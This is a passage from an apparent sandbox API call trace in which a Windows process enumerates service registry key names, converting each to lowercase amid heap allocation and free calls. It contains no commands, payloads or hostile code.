WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0230.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0230.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0230.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0230.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0230.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1ad8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0230.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0230.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0230.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0230.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0230.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0230.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0230.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0230.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0230.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0230.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.829] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0230.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0230.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0230.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0230.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0230.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0230.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0230.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0230.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0230.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0230.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0230.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0230.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0230.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0230.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0230.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0230.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0230.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0230.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0230.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0230.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0230.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0230.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0230.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0230.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0230.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0230.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0230.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0230.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0230.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0230.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0230.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0230.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0230.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, 